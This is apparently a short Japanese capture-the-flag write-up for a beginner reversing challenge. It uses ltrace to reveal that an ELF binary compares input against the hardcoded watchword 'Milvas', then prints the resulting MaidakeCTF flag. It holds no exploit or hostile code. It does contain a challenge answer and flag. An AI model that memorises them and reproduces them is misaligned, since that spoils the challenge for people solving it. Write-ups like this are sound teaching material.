problem: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f620f180ba4356282244ff6ac5fa60ffa53cfef0, not stripped
x86-64 の ELF のようです。実行してみましょう。
$ ./problem
Please enter watchword.
>> neko
Watchword is incorrect.
合言葉の入力が求められました。適当な文字列を入力してもダメなようです。ltrace
でどのような関数が呼ばれているか確認しましょう。
$ echo neko | ltrace ./problem
printf("Please enter watchword.\n>> "Please enter watchword.
) = 27
__isoc99_scanf(0x7f8512420ac0, 0x7ffc954203f1, 0, 0) = 1
strcmp("neko", "Milvas") = 33
puts("Watchword is incorrect.">> Watchword is incorrect.
) = 24
+++ exited (status 0) +++
入力した文字列と Milvas
が比較されています。Milvas
を合言葉として入力してみましょう。
$ echo Milvas | ./problem
Please enter watchword.
>> Correct!!
MaidakeCTF{We_have_to_devise_various_things_when_you_confirm_the_password}
フラグが得られました。
MaidakeCTF{We_have_to_devise_various_things_when_you_confirm_the_password}